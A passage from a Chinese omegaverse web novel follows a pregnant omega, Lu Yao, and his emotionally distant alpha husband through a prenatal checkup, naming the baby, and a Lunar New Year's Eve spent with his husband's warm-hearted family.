文筝的确非常非常不放心,不然她今天也不会来这一趟。鹿遥是从beta分化成omega,自己都迷迷糊糊的,傅晏淮更不像是会照顾人的的样子。虽说是有管家有医生有佣人,可是文筝还是想亲眼看见鹿遥。 鹿遥没有想到文筝会提这件事,他不想违背自己的心意, 鹿遥真的很喜欢有妈妈关心的感觉。 “好。”鹿遥小声道,“谢谢妈妈。” 文筝满意了,傅晏淮对此没有任何意见,这也是他希望的。他忙起工作来也不能时时刻刻顾到鹿遥,而且,傅晏淮也需要一点自己独处的时间。 他不知道该怎么对待鹿遥。 文筝陪鹿遥一直住到了孕期第四个月,鹿遥的孕反比较强烈,直到四个月多信息素才算稳定下来。 鹿遥身形还是偏瘦,不过小腹已经鼓了起来,这两天孕吐减轻了很多,去医院孕检宝宝发育也很好,回家的路上鹿遥心情不错。 鹿遥的外套宽松,冬日还没有过去,坐下来倒也看不太出来肚子。 “宝宝刚刚又动了一下。”鹿遥惊喜对傅晏淮道,“好像吐泡泡的感觉。” 傅晏淮自然地把手伸到鹿遥的外套下面,隔着薄薄的打底衫覆上鹿遥隆起的腹部。 虽然和傅晏淮的亲密接触已经有过很多次,但每一次鹿遥都会有些羞涩。 现在胎动还不频繁,傅晏淮去摸的时候肚子已经重新变得安静,傅晏淮把手收回来,替鹿遥整理好外套。 “他很快就会长大了。” 鹿遥在傅晏淮身旁小声嘟哝道,“我们还没有给他起名字呢,要一直叫他宝宝吗?” 傅晏淮对这件事完全没想法,他随口道,“离生产还有半年,慢慢想吧。你可以先起一个小名。” “嗯…”鹿遥绞尽脑汁试图想出一个名字,“或许应该回家翻字典找一个。” 傅晏淮忽然道,“快过年了。” “嗯?”鹿遥疑惑抬头,“怎么了吗?” 傅晏淮看了一眼鹿遥现在还不明显的肚子,“不如就叫年年。” 好草率的起名方式,但这样单独念起来好像也还行。 鹿遥试着低头叫了一声,“年年?” 傅晏淮把帽子戴到鹿遥头上,“我在车里等你,不要聊太久,你还没有吃午饭。” “知道了。”鹿遥乖乖让傅晏淮摆弄自己,“我很快就出来。” 他也已经很久没有到店里找夏时越了,这几个月他的身体状况实在太糟糕,都是夏时越到家里来看他。 傅晏淮看着鹿遥进店,他碰了碰耳机垂眼道,“院长已经答应了?好,手续不着急。鹿家那边还是那样,别让他们来打扰。” 助理在对面公式化地拍了一下傅晏淮的马屁,“您对鹿先生真的很上心。” 傅晏淮未置可否,也并没有显露出特别高兴的样子,他嗯了声直接挂断通讯。 咖啡厅里很暖和,鹿遥从下车到进店只走了几步路,但由于他的身体一向让家里担忧,现在如果着凉生病更不好办,所以他还是任由傅晏淮给自己戴上帽子。 屋内暖气很足,鹿遥摘掉帽子往后厨的方向张望。 “时越?” 鹿遥往员工区走,夏时越脸上蹭了一块果酱,他恼怒对身旁的人进行人身攻击,“你说你,长得浓眉大眼,怎么办起事来是这个样?我的原料可是很贵的,你得扣工资。” 鹿遥愣了一下,这个甜品师他没见过,大约是新来的。 年轻的alpha委屈巴巴耷拉下眼睛,“我不是故意的,你不会怪我吧?” 鹿遥仔细看了看,虽然戴着口罩,但是的确是浓眉大眼看着长得很不错。 夏时越看在脸的份上忍了,“好了,快点重新做一个。” 真是纳了闷了,这么多甜品师,这人怎么偏偏只找他去教。 夏时越推开门出来就看到鹿遥在门口,他惊喜道,“小鹿!” 屋内的人听到声音往这边看了一眼,鹿遥猝不及防和他对视,他的视线在鹿遥和夏时越身上转过一圈后又收回。 夏时越奇怪道,“你看什么呢?走,别在这站着。” 鹿遥回神,“那是谁?我刚刚孕检过,来看看你。” “哎呀,我有什么可看的。”夏时越大喇喇拉人到休息区,“我刚想明天去找你玩呢,快要过年了,生意不多不少的,我待着无聊。” 鹿遥把外套脱掉,夏时越坐下后接着道,“他是新来的大学生,做蛋糕奇差无比。” 鹿遥忍俊不禁道,“他怎么了?” “这就是他弄的!”夏时越指着自己的脸,“果酱!能做到我脸上来!你不知道,你请假了之后就空出一个缺,我怎么都找不到合适的。” 夏时越长叹口气,“创业艰辛啊,小鹿,你要等宝宝出生再回来吗?” 鹿遥犹豫一下道,“其实,我想过完年就回来的。” 就是不知道傅晏淮会不会同意。 他补充道,“过完年五个月,应该就会好很多了。其实现在我也没有再难受,刚刚孕检,医生说宝宝很健康。” 不过说他有点偏瘦,让他适量放开饮食,但也不能吃太多,胎儿在正常发育水平内,一时间摄入营养过多可能会导致胎儿体型过大,会对鹿遥造成负担。 夏时越眼睛都亮了,“那好啊!” 鹿遥简直是最靠谱的了。 “哎对了,沈谨言出国继续读书的事你知不知道啊,今年都不回来过年了。” 鹿遥愣了一下,他已经很久很久没有听到这个名字。 “或许是计划内的吧。”鹿遥迟疑道,“这三个月我一直待在家,连我…” 妈妈两个字已经被鹿遥下意识归到了文筝身上,他无法再对关清露这样叫。 他轻叹口气,“算了,没什么。” 夏时越安慰鹿遥,“文阿姨对你很好,其实孕晚期你回到傅家老宅住也不错。傅晏淮在家的时间不多,你是不能自己一个人在家里的。” 鹿遥还没有想到这件事,“那,我也要问问妈妈。” 夏时越已经很习惯鹿遥这么叫文筝,他低头碰了碰鹿遥的肚子,“好,你和傅晏淮商量着来吧。” 鹿遥一想到孩子脸上就泛起浅淡笑意,“宝宝小名叫年年,怎么样?刚刚起的。” “这名字不错。”夏时越赞许道,“他一定是个黏人的好宝宝。” 鹿遥眼睛弯弯道,“这算什么解释,不过黏人也很好。” 鹿遥期盼道,“好想快点和宝宝见面啊。” 两人没有说太久,傅晏淮还在外面等着,鹿遥和夏时越说定了过完年回来上班就离开了。 鹿遥重新回到车里,身体有点沉重,他坐下时呼出口气。 傅晏淮握了一下鹿遥的手,不凉。 “再等一周,我们提前两天回老宅。”傅晏淮淡淡道,“然后住到过完年,妈妈刚回家一天就已经问了我三遍你的情况。” 鹿遥接受良好,“好啊,我也想妈妈了。” 傅晏淮定定看来鹿遥一会,忽然开口问道,“开心吗?” 鹿遥疑惑道,“开心。” “以后的生活也不会有太大改变的。”傅晏淮承诺道,“只会有一点点不一样。” 鹿遥没有多想,“有了宝宝当然会不一样,不过我们一定可以照顾好他的。” 傅晏淮没有回答这个问题,他看向车窗外道,“到家了。” 管家准备午饭的时间刚刚好,鹿遥进屋子菜还冒着热气。 鹿遥折腾了一上午刚好很饿,现在的菜里也逐渐多了荤腥和重口味的调料。 鹿遥偷偷吞口水,“看起来好好吃。” 最近鹿遥的口味变得和没怀孕时有些不一样了,他以前更喜欢吃甜口的,但现在却喜欢偏咸的。 管家笑着道,“您来吃吧。今天的汤炖了两个多小时,很入味。” 傅晏淮把肋条上的肉剔下来剪成小块递给鹿遥,“许医生说可以多吃肉和蛋白质。” 鹿遥看来是真的饿了,他吃完一碗饭又把汤都喝光了。 这些都吃完鹿遥还有点意犹未尽,傅晏淮不动声色又给鹿遥夹了点肋排肉,“吃吧,没事的。” 这次鹿遥真的吃饱了,他的脸红扑扑的,有血色后整个人都看着健康很多,鹿遥羞涩对傅晏淮道,“我吃饱了。” “到沙发上坐一会,然后我陪你到后面园子里逛一逛。” 吃完饭也要合理运动一下呼吸新鲜空气,现在鹿遥的生活作息健康且规律。 “好,我下午在家收拾一下东西?免得快到过年来不及。” “嗯。”傅晏淮站起身把鹿遥按进自己怀里,让鹿遥趴在自己肩膀上,白冷杉的味道闻起来很舒服,鹿遥眯了一下眼睛。 “你想做什么都可以,别太累。” 第34章 第 34 章 适合 “玩具要等宝宝长大一些才用得上呢。” 文筝宠溺摸摸鹿遥的肚子, “你只挑自己喜欢的买。” 鹿遥和文筝凑在一起看婴儿用品,他拿起一个白色的软绵绵小鹿玩偶放在手里捏了捏,“这个好可爱。” 上面还有两根很抽象的小小的角。 “是挺可爱的。”文筝赞许道, “拿上。” 文筝买东西很大方,店员在两人后面笑得真情实意, “虽说可以直接把热销和新品送到家里,但孩子的东西, 还是要亲自来挑才有乐趣。您选中的这个小鹿最近卖得很好, 可以多给孩子买几个呢。” 明天就是除夕夜, 鹿遥已经在傅家老宅住了快一周, 文筝怕鹿遥天天闷在家里无聊, 特意叫他出来逛逛。 “不用了, 就这个就好。” 鹿遥把玩偶放到推车里,他看着车里满满登登的东西感慨道,“今天买了好多。” 文筝慈爱笑道, “反正是花傅晏淮的, 不用心疼。” 鹿遥不好意思道, “今天来出来逛街,还没有来得及告诉他呢。” 文筝神情有些微妙,“快过年了还在公司, 不埋怨他都不错了。” 什么工作还非要过年干, 如果有心,再忙都能把时间留出来。在文筝看来,工作只是傅晏淮的借口,不知道他天天心不在焉的在想什么。 鹿遥理解道,“管理一个公司是很忙的,他说今天会早点回来。” 是助理联系鹿遥的, 鹿遥和傅晏淮的联系是从怀孕后才渐渐开始变多,但很多时候傅晏淮都忙不过来,是助理代替傅晏淮回复他。 文筝叹了口气道,“不必这么替他着想,现在他最应该关心的是你。” 傅晏淮性格如此,鹿遥不会因为这种事和他起争执,他只是故作不知地对文筝道,“我有点累了,妈妈,我们先回家去吧。” 鹿遥已经不自觉地对文筝展露一点自己的任性,文筝也顺着他不再多说,“小鹿累了,那我们就回去。回家了先睡一觉歇歇,起来吃点好吃的。” 鹿遥很喜欢现在的生活,目前的一切都让他无比满足,他在回家的路上一直玩那个软绵绵的小鹿玩具,焦糖信息素把玩具染得甜甜的。 信息素的味道会随着主人的心情而改变,鹿遥回到房间后撕下腺体贴,孕期信息素会更加柔和温润,焦糖味道又甜又暖暖的。 为了方便鹿遥的行动,他和傅晏淮没有住在傅晏淮小时候的卧室里,而是另找了一间更宽敞的房间。 鹿遥把小鹿玩具端端正正摆在两个枕头中间,他一本正经地戳了戳它,“这是宝宝。” 现在时间还早,傅晏淮要晚饭前才到家,鹿遥钻进被子里打算听胎教音乐小憩一会。 不过在听音乐之前,鹿遥习惯性地打开手机看了看,傅晏淮不常给他发信息,但鹿遥还是忍不住总是点开和傅晏淮的对话框。 消息界面还停留在今天上午鹿遥告诉他和妈妈一起出去逛街,再往上翻,基本都是鹿遥在说,傅晏淮只回复过寥寥数条。 鹿遥低下头摸了摸肚子,“年年的父亲每天都很忙呢。” 那好吧,他就不去打扰傅晏淮了。 鹿遥退出界面点开音乐软件,屏幕上方弹出一条推送新闻。 《傅氏集团掌舵人傅晏淮采访精彩内容盘点》 鹿遥不自觉地直接点了进去。 这条采访的录制时间应该是在近期,傅晏淮身上的衣着鹿遥很熟悉。 前面都是商业上模式化的问题,但采访人话锋一转,忽然问起了傅晏淮的私生活。 “听说您的孩子过一段时间就要出生,您考虑过要给他什么样的生活吗?” 这个记者大概是想听傅晏淮说一些,孩子想要什么自己都给得起这样类似的霸总发言,但傅晏淮的回答出乎意料。 “他需要一个严格意义上的标准家庭。” 傅晏淮的神色不变,可以看出这话他已经考虑过很久。 记者困惑道,“您指的标准是…” 傅晏淮停顿一瞬道,“我会对他负责,他会得到应有的资源、教育和家庭构成。” 这个问题到这里就停止了,因为傅晏淮不再过多回答记者的追问。 鹿遥愣愣看着屏幕,他有些困惑傅晏淮的话究竟是什么意思。家庭构成是指什么,不是傅晏淮、自己还有宝宝吗? 傅晏淮的话看起来没有什么不对,但鹿遥却有些别扭起来。 “孕期的omega容易胡思乱想。”鹿遥喃喃道,“不要因为一点小事就怀疑自己的伴侣。” 鹿遥看过很多孕期书籍,上面都写着情绪波动变大是正常的,鹿遥尽力让自己平稳下来,他不想因为这个采访而和傅晏淮产生分歧。 年年感受到了鹿遥的情绪变化,他动了动彰显自己的存在感。 鹿遥回神,他浅浅笑了一下摸摸肚子,“我没事,困了吗?我们睡觉吧。” 虽然孕期不适症状很多,但鹿遥依然很珍惜和孩子在一起的时光。 他绝不会像关清露对待他那样对待自己的孩子,鹿遥只希望年年能快快乐乐地长大。 傅晏淮是孩子的父亲,他对孩子有其他的规划当然也是合理的,鹿遥忽略那一点轻微的异样感,闭上眼睛等下午茶。 也等傅晏淮回来,等他下班,等他和自己度过第一次正式的新年。 文筝逛了一圈不觉得累,她哼着歌把丝巾挂起来,今天她戴的这条是鹿遥送给她的。 傅际中也打算午睡,他看文筝心情不错打趣一句,“大采购回来了?” “哄孩子玩。”文筝越来越喜欢鹿遥,“晏淮自打出生就是臭脸,好像谁欠了他钱。虽说他骤然结婚太过草率,但小鹿的确是很不错,算他运气好。” 没找到个爱惹事的可以说也是傅晏淮还存有几分理智,文筝认为这就是冥冥中注定好的,“这说明什么,说明小鹿和我们家缘分很深。” 京城的有钱人家或多或少都信一点缘分,傅际中点点头,“能成为一家人,自然是缘分匪浅。” 文筝换好衣服也到床边躺下,她也看到了新闻推送,但她直接划走没有点开看。傅晏淮的采访没有一千也有八百,文筝没耐心挨个点开看。 “预产期到后应该叫小鹿直接在这里住着,至少等孩子作息稳定一点后再带上育婴师回去,不然虽说是有保姆,可只有小鹿自己还是会手忙脚乱。” 傅晏淮看着那样就不像是能好好带孩子的,文筝对以后有很多计划,“这点事只和小鹿商量就可以,老傅,你觉得怎么样?” 文筝的询问只是象征性地征询意见,傅际中知道自己在这种事上没有话语权,他很有眼色地道,“我都同意。” 文筝满意了,“很好。” 今天傅晏淮回家的时间果然比平时早了很多,晚饭时间还没有到,傅晏淮裹着满身寒气进门。 鹿遥正坐在客厅里整理玩具,文筝坐在他对面柔声细语地说着些什么。 傅晏淮脚步未停,他把大衣随手交给佣人走近两人,“怎么都坐在地上?” 毯子很柔软,鹿遥盘腿坐在上面没有觉得不舒服,他不好意思地笑笑,“沙发放不下了。” 玩具和婴儿用品零零散散铺了整个地毯,文筝优雅地两条腿并在一起侧身坐着,“今天我们去挑的,看看。” 傅晏淮一眼就看到了那个小鹿玩具,他俯下身拎起来仔细端详了一下,小鹿圆嘟嘟傻乎乎的,和鹿遥莫名相像。 傅晏淮神情微妙,他把那个玩具重新放回去,“不错。” 鹿遥坐得时间久不舒服,傅晏淮俯身搂住他站起来,尽管已经很好地融入进傅晏淮的家庭,但鹿遥还是不好意思在文筝面前和傅晏淮做出太过亲密的举动。 “我没关系的。” 鹿遥此刻更加觉得那个采访只是自己多心,他专注看着傅晏淮,“今天外面很冷。” “嗯。”傅晏淮松开手,“屋子里还好。” 白冷杉的味道飘散,鹿遥有点失落。晚饭一样一样摆了出来,文筝或许是看出来鹿遥的情绪转变,她拉住鹿遥走过去,“明天是除夕夜,但也不必非要守岁,你困了就休息,我们家里没有那么多规矩。” 傅晏淮忽然开口问道,“你明天还要去别的地方吗?” 鹿遥愣了一下,“可能…没有。” 到现在鹿家也没有人联系他,关清露应该也是不希望他回去。 而且回到鹿家过年也没有什么必要,鹿钟光、关清露和鹿千星才更像是一家三口。除了吃年夜饭,鹿遥都是自己一个人在屋子里做作业,或者看些书。 文筝警告地看了傅晏淮一眼,怎么哪壶不开提哪壶。 “大过年的,到处乱走什么。”文筝不悦道,“你不怕冷,小鹿和孩子还怕冷呢。明天哪也不许去,都好好在家。” 傅晏淮沉默不语,文筝把鹿遥拉到自己身边坐下,“不必理他,除夕夜家里只有咱们几个人。来傅家拜年的人的确很多,但那都要初一之后,你起不来就在房间里睡觉,没事的。” 鹿遥婚后傅晏淮从没有给他介绍过傅家的利益相关团体,也没有提过傅家的亲戚,文筝理解鹿遥会局促,所以她不准备强迫鹿遥做什么。 鹿遥很感激文筝的照顾,“谢谢妈妈。” 不过这样很没有礼貌,鹿遥打算晚上偷偷问一下傅晏淮自己该注意什么。 傅晏淮在对面坐下,鹿遥果然不适合在傅家这样的环境里生活。 他不擅长应付这些,也不擅长留在这个位置。 或许也不是很适合做傅家继承人的爸爸。 第35章 第 35 章 现状 除夕的上午并没有什么要忙的, 以往在鹿家的时候都是听鹿钟光来来回回地给人打电话拜年——真正目的当然不止是这样,是为了借此和有头有脸的人多些联系。 在鹿家的时候过年是很无聊的,鹿千星和关清露坐在一起看电视说话, 鹿遥只是坐在另一边默默听着。时间差不多大家会出去放烟花玩,鹿遥就会适时表明自己困了, 他会回房间忙一会学业就睡觉。 这是鹿遥在傅家参与进去的第一个新年,他很谨慎地观察傅晏淮都做什么, 不过很快他就发现事实的确如文筝所说的那样, 傅家没有那么多规矩, 想做什么都可以。 鹿遥九点才被傅晏淮叫醒, “起来吃点东西, 一直睡容易低血糖。” 鹿遥眨了两下眼睛才完全清醒过来, 他有点懊恼道,“又起晚了。” 自从怀孕后鹿遥就开始变得格外嗜睡,每天睡十二小时也依然觉得困。 不过孕中期是整个孕期比较轻松的时候了, 鹿遥这个月身体情况还不错, 他撑着床慢慢坐起来, “是不是又只有我没赶上吃早饭了。” “是。”傅晏淮漫不经心摩挲了一下鹿遥的侧脸,“不过你这个时间起床也没什么问题,后厨刚刚开始准备做饺子, 你喜欢吃什么馅的?” 鹿遥站起身去洗漱, 年年还没有醒,肚子很安静。他慢慢走过去,“什么都行,我有点想喝甜汤。” 这个要求很好达成,傅晏淮在一旁看着鹿遥,“好, 我们先一起下去。” 这完全就是鹿遥理想的婚后生活,他转头对傅晏淮笑,“好啊,那你等我一下。” 鹿遥握着傅晏淮的手下楼,刚从被窝里钻出来的鹿遥浑身都暖呼呼的,像个香喷喷的焦糖小蛋糕。 文筝拿着一沓福字指挥保姆和傅际中到处贴,转头看见傅晏淮和鹿遥下来,她的眼神柔和不少,“小鹿,快来。” 文筝非常自然地插到傅晏淮和鹿遥中间,“你看看这个,这个喜不喜欢?贴到你们房间去。” 文筝留给鹿遥的福字还带了Q版金元宝和鲤鱼图案,她总是不自觉把鹿遥当成小孩子看。 鹿遥接过来仔细看了看,“好可爱,谢谢妈妈。” 傅晏淮开口道,“我去叫后厨把饭摆出来。” 文筝敷衍地答应了一声,“你去吧,我们到那边坐下,走。” 文筝高高兴兴地捏了一下鹿遥的脸,“前两天你爸爸特意去买了烟花棒,也不知道你喜不喜欢,还有点其他的,晚上吃完饭叫晏淮陪你去玩。” 文筝已经很多年没有准备过这些,傅晏淮是肯定不喜欢玩烟花的,有个太严肃的孩子,很多生活的乐趣都会大大减少。 鹿遥被文筝的情绪感染,他眼睛亮亮地道,“好啊,晚上点燃一定很好看。” 鹿遥开始久违地期待起过年的夜晚,女佣推着餐车过来把菜摆上来,傅晏淮在鹿遥旁边坐下,“什么好看?” “放烟花。”鹿遥侧头看着傅晏淮,“晚上会很漂亮。” 鹿遥看起来兴致很高,傅晏淮哄他,“好,晚上陪你放,先吃饭吧。” 傅晏淮看向对面的文筝,“今天还干什么?” “就咱们一家几口人,能干什么。”文筝叮嘱傅晏淮,“你也不是每天都在家一整天,今天白天你好好陪着鹿遥吧。今晚吃饭时间可要晚了,下午想吃什么,让后厨提前准备出来。” 傅晏淮点点头,“知道了。” 鹿遥吃完早饭在外面逛了一圈,冬天的空气很冷,他没有停留太久就上楼了。 傅晏淮看他鼻尖有点红,过去摸了摸鹿遥的手,“冷了?” “还好。”鹿遥诚实道,“没在外面太久。” 鹿遥换掉身上的衣服重新套上睡衣,他好奇对傅晏淮问道,“以前你在家里过年都做什么啊?” 睡衣没太整理好,下摆的纽扣系得歪歪扭扭,圆圆白白的肚子露出一块。傅晏淮垂眼,孕夫的确很引人注目。 傅晏淮没有反应,鹿遥奇怪道,“晏淮?” “不做什么。”傅晏淮伸手把那一块扯下来,那一小片肌肤重新被盖住,“没什么有趣的。” 傅晏淮的确是这样觉得的,他大学时就宁愿多监管自己的公司。 鹿遥向里爬上床,傅晏淮把手臂搭在鹿遥腰间,指腹抚摸过肚子上的皮肤,鹿遥忍不住轻轻倒吸了口气。 “会捏几个放硬币的饺子,剥点坚果什么的,没有什么可玩的,电视节目也很无聊。” 鹿遥面色微红,自从发现怀孕后,他的状况一直都不太好,最近才刚刚恢复一点,他已经好几个月没有和傅晏淮这样亲密了。 鹿遥没有转过去,他咬了下嘴唇缓解紧张,鹿遥稍微转回一点头看羞怯看着他,“医生没有再说过信息素不稳定了…你要咬我的腺体吗?” 这是赤裸裸的邀请,傅晏淮低头吻了一下,“你身上还有白冷杉的味道。” 尽管已经三个月没有再进行标记,但仔细闻一闻,鹿遥身上还是能闻到傅晏淮的信息素。完全标记的确给omega留下了无法磨灭的影响,傅晏淮身为alpha的劣质占有欲得到满足。 傅晏淮对着汁水丰沛的腺体深深咬了下去,许久没有过的体验让鹿遥忍不住紧紧蜷缩起来呜咽。 “乖,打开一点。” 鹿遥脸色红通通地筋疲力尽睡了过去,孕夫的体力不太好,他睡得很沉。 傅晏淮把被子给鹿遥掖好,鹿遥熟睡的侧脸看着很美好,傅晏淮调了一下屋内的温度,下床到阳台去吹了吹风。 明天来傅家拜年的人会有很多,鹿遥应付不过来是一定的,而且他现在怀着孕,文筝不希望他折腾也正常。 傅晏淮不得不开始思考以后的生活,鹿遥是一定不会永远在这个不适合他的位置上的,只是他需要一个合适的时机完成生活的转变。 傅晏淮是一个确定目标后就会很快实施的人,他给律师发消息让他草拟一份合同。得到回复后他就重新走进屋子,并没有在外面停留太久,孕期的omega对外界信息素变化很敏感,傅晏淮在鹿遥身边躺下。 傅晏淮不认为自己和鹿遥的相处模式会发生改变,他可以单独给鹿遥购买一套小一点的别墅,在孩子懂事上学的年纪给他更好的教育方式。 鹿遥不自觉地往傅晏淮怀里靠,傅晏淮回神,轻轻搂住他。 鹿遥半梦半醒地叫他,“晏淮…” “睡吧,我就在旁边。” 今天下午消耗了太多体力,天擦黑的时候鹿遥才醒,而且刚刚一醒来他就又饿了。 鹿遥对自己吃了睡睡了吃的生活作息感到十分不好意思,不过傅晏淮看起来接受良好。 傅晏淮半蹲下身给鹿遥穿上拖鞋,“医生说年年长大的速度很快,你总是觉得饿是正常的。” 鹿遥顺着摸了一下圆滚滚的肚子,他小声道,“也不都是年年在长大,我都变胖了。” 变胖了也没有胖到哪里去,之前鹿遥实在太瘦了。 傅晏淮自然答道,“还好,抱起来和以前差别并不大。” 鹿遥面色微红,“我们还是先下楼吧。” 傅晏淮嘴角无意识勾起,“走吧。” 鹿遥下楼就和文筝挨在一起说话,电视开着,傅晏淮在一旁陪傅际中下棋。 电视声音很大,再加上几个人说话,家里变得很热闹。 文筝拿出三个红包塞到鹿遥手里,“你的、宝宝的,还有晏淮的压岁钱,不过他应该是不在意这点小钱,你都收着,喜欢什么就买什么。” 鹿遥在傅家老宅住的日子不算很多,但就这么点时间收钱收得他都快麻木了,这次他没有再推诿,文筝要他拿就一定会想方设法让他收下。 “宝宝还小呢。”鹿遥无奈道,“我替他存起来。” “你可以给他投资一点什么。”文筝循循善诱道,“让晏淮帮你参谋参谋,他对这方面更懂。” 有现成的干嘛不用?傅晏淮教一教鹿遥,还可以促进夫夫感情,更利于婚姻和谐。 不过文筝看,他们两个其实感情还是挺好的。 鹿遥迟疑道,“好,也许我应该系统学习一下这方面的知识。” 文筝乐见其成,“那我敢保证,不会有比傅晏淮更专业的老师了。” 傅晏淮挑眉看向这边,鹿遥感受到目光转头,刚好和他对视。 文筝暗自点头,傅晏淮和鹿遥在老宅也算住了一阵子,两个人的感情好与不好都是装不出来的,看他们两个这样文筝还算放心。 “来。”文筝拿出几枚硬币,“一会包到饺子里。” 鹿遥顺着仔细看过去,这才发现上面的图案都是很可爱的小动物,不是真的硬币,而是不同样式的硬币形状的金子。 “把包上的做个记号。”文筝叮嘱他,“这样好挑出来。” 鹿遥惊奇道,“怎么还要分出来?” 文筝露出氪金高玩的微笑,“今年的幸运饺子都给你吃。” 傅晏淮听着目光柔和下来,其实幸福家庭就是眼下这个样子,只是傅晏淮并没有意识到。 “小鹿是个好孩子。” 一向不怎么参与家事的傅际中忽然开口,傅晏淮下棋的手微顿,“我先前还担心这段婚姻太过儿戏,不过如今看来,倒是误打误撞。” 傅际中今天面色很和蔼,“这样很不错。” 傅晏淮的神情说不上是赞同还是否定,傅际中再次强调道,“你要知道,想要找到完全适配符合你期待的伴侣是很难的。” 鹿遥心性不错,虽然性格太软但心地纯善,最重要的,傅晏淮对他也并不是全无感情。 论金钱,傅家不缺,如果要更上一层楼选择联姻,傅晏淮的信息素抵抗也是个大问题,所以傅际中没有想过一定要傅晏淮做什么。 那么这样来看的话,其实鹿遥就已经很不错。这样的现状,傅际中就已经满意了。 第36章 第 36 章 除夕夜 除夕的晚饭要等到将近十点才能都做好, 天色已经完全暗了下来,屋内的落地窗被热气熏上了雾,上面帖着下午刚刚粘上的福字。 包硬币饺子的方式完全超出鹿遥的预料, 厨房把饺子皮叠在一起放好,不同的馅料团成一团放在小碟子里, 厨师在一边微笑提醒要放多少包成什么样子。 怪不得傅晏淮觉得过年很无聊。 鹿遥侧头看看傅晏淮,他的动作很生疏, 但这一套流程应该印象深刻的, 他包得很快。 鹿遥会做饭 , 也会包饺子, 塞进硬币的饺子变得圆嘟嘟的。 “小鹿包的真好看。”文筝夸奖道, “都不用做标记, 一眼就能看出来。” 傅晏淮把印花在饺子边上戳了一下,“明天都有谁来?” 一提到这些事文筝就懒懒的,“谁知道呢, 明天一天都不能歇下来。” 文筝忽然想到了什么, 她对鹿遥道, “明天也会来一些和你年纪差不多的,都是跟着长辈来拜访。我记得小鹿的好朋友是夏家的那个孩子?或许能碰上。” 鹿遥愣了一下,他没有问过夏时越过年的计划, 文筝习以为常道, “有很多来家里拜年的都会带些其他人,新年也的确是来访和送礼的好时机。” 傅际中在旁感叹了一句,“现在过年和以前可不一样了。” 不过真正要烦心的人还是傅晏淮,他开口道,“怀孕不舒服,你明天在楼上休息就可以, 如果夏时越来了,我让他上楼陪你。” 鹿遥迟疑道,“可是这样会不会不太好。” 傅晏淮没有想过要鹿遥学会做这些,他淡声道,“没关系。” 傅晏淮温声解释了一句,“人多的话很累,不必要勉强自己,你在楼上就好。” 文筝是真的觉得这是小事,以后还有这么多年,哪一年见不上?当然还是鹿遥的身体最重要。 “好吧。”鹿遥一向都很听傅晏淮的话,他不希望和傅晏淮起任何争执,鹿遥每天都在很用心地维持两人的情感关系,“我知道了。” 包的饺子被拿走,很快就要吃年夜饭,文筝催促大家都坐到沙发上去拍一张照片,“就算是我们家里的第一张全家福了,等年年出生,再去拍一张正式的。” 傅晏淮罕见停滞了一瞬,他沉默坐到沙发一边,文筝嗔怪道,“你坐那么远干什么,像是我强迫你来拍一样,你和小鹿都坐中间。” 傅晏淮看着鹿遥走到他身边坐下,鹿遥坐下时有暖暖甜甜的焦糖味道。 傅晏淮轻轻搂住鹿遥的腰,鹿遥眼睛弯弯地对着镜头笑,女佣调整好角度拍下照片。 文筝放大仔细看看,“还不错嘛。” 照片也被发到鹿遥手机上,他第一眼先去看傅晏淮,眉眼凌厉倨傲,看着和平常没有任何分别。 鹿遥忍不住多看了两眼,傅晏淮的长相实在是没得说的。 傅晏淮没有多看就关掉了手机,文筝叫女佣把饭菜都端上来,她顺顺鹿遥的头发,“饿了吧,今天做了很多你爱吃的。” 鹿遥小声道,“的确饿了。” 刚刚他还剥了橘子吃,但是越吃却越饿了,或许是因为酸甜的口味很开胃。 年夜饭只有他们四个人,今天大家兴致都很高,傅际中叫人拿了瓶珍藏许久的红酒,给鹿遥倒了气泡饮料。 一起碰杯的时候不知道傅晏淮是何感想,鹿遥在那一刻感受到了真实的幸福。爱人就在身侧,他拥有了自己一直梦寐以求的家,还有一个即将出世的,他和傅晏淮的孩子。 那一瞬间鹿遥在心中许下愿望,希望这一刻能定格到永远。 电视节目的声音开得很大,混杂着餐桌上带笑的交谈声,鹿遥很喜欢这种感觉。 红酒度数不高,但傅晏淮身上竟然能闻到一点酒气,鹿遥侧头轻声对他问道,“喝了很多吗?不然就只喝点饮料吧,明早起来会头疼的。” 傅晏淮身上的生人勿近感减淡了许多,他现在看起来多了很多活人气息,“那正好不用早起了。” 他揉捏鹿遥的手指玩,“偶尔睡一次懒觉应该也不错。” 这样的傅晏淮让鹿遥感觉更能接近,两个人更亲密了一点,而且他们现在的相处模式和真正的夫夫大约也没什么差别。 至少在鹿遥看来是这样的。 “我每次醒来的时候你都不在。”鹿遥低声道,“只有我一个人。” 如果傅晏淮能更多陪陪他就好了,孕前期鹿遥身体总是不舒服,情绪不受控制地低落时非常想念自己的alpha。 可是傅晏淮很忙,鹿遥也就从来都没有把这个小小的心愿说出来,但现在鹿遥好像找到了合适的时机。 “过年你多休息几天好不好。”鹿遥看着他,有点紧张,“年年最近比之前活跃很多,医生说,他已经可以感觉到父亲的陪伴了。” 傅晏淮读懂了鹿遥的期盼,今晚的种种对他来说并非完全没有触动,傅晏淮其实也可以不用那么忙,他更多的还是在思考如何处理他和鹿遥之间的关系。 傅晏淮在酒精的作用下短暂遵从本心,“好啊。” 其实焦糖信息素甜甜的很好闻,傅晏淮知道。 文筝故意在对面拉着傅际中说话,能等到傅晏淮心动可不容易,这时候还是别打扰他们两个了。 饺子在菜之后上来,文筝把两盘饺子都推到鹿遥跟前,“小鹿先挑。” 鹿遥夹了一个放到碗里,那个是傅晏淮包的。 他在文筝鼓励的目光下咬了一半,然后小心翼翼吐出一枚纯金打造的金币。 文筝眉开眼笑地柔声道,“小鹿一定是明年最幸运的人,新的一年顺顺利利。” 随后她就催促傅晏淮,“把剩下的那些也都挑出来,小鹿多尝几个。” 年夜饭吃到尾声,窗外烟花腾空又散落,在漆黑的夜空中格外漂亮。 “想出去玩就去玩一会。”文筝看了眼时间,“离半夜还有一会呢。” 傅晏淮也想出去散散酒气,他站起身道,“那我带鹿遥出去转转。” 文筝叮嘱道,“多穿点,差不多就回来,别冻着。” 鹿遥乖乖答应了,他穿了很厚的外套,傅晏淮耐心地把扣子一颗一颗系上,从腹部最底端一直到脖子。 鹿遥戴上手套,傅晏淮把帽子扣下来,鹿遥捂得严严实实。 他唤醒了久违的玩闹心思,鹿遥忍不住跟着傅晏淮一起弯腰看准备的烟花,“那个是什么。” 连指手套和毛绒绒的帽子让鹿遥看起来笨笨的,傅晏淮扶住鹿遥的肩膀站直,“要什么,我递给你。” “我想玩那个。”鹿遥用四根手指指了一下烟花棒,他小声道,“以前…我经常看鹿千星玩。” 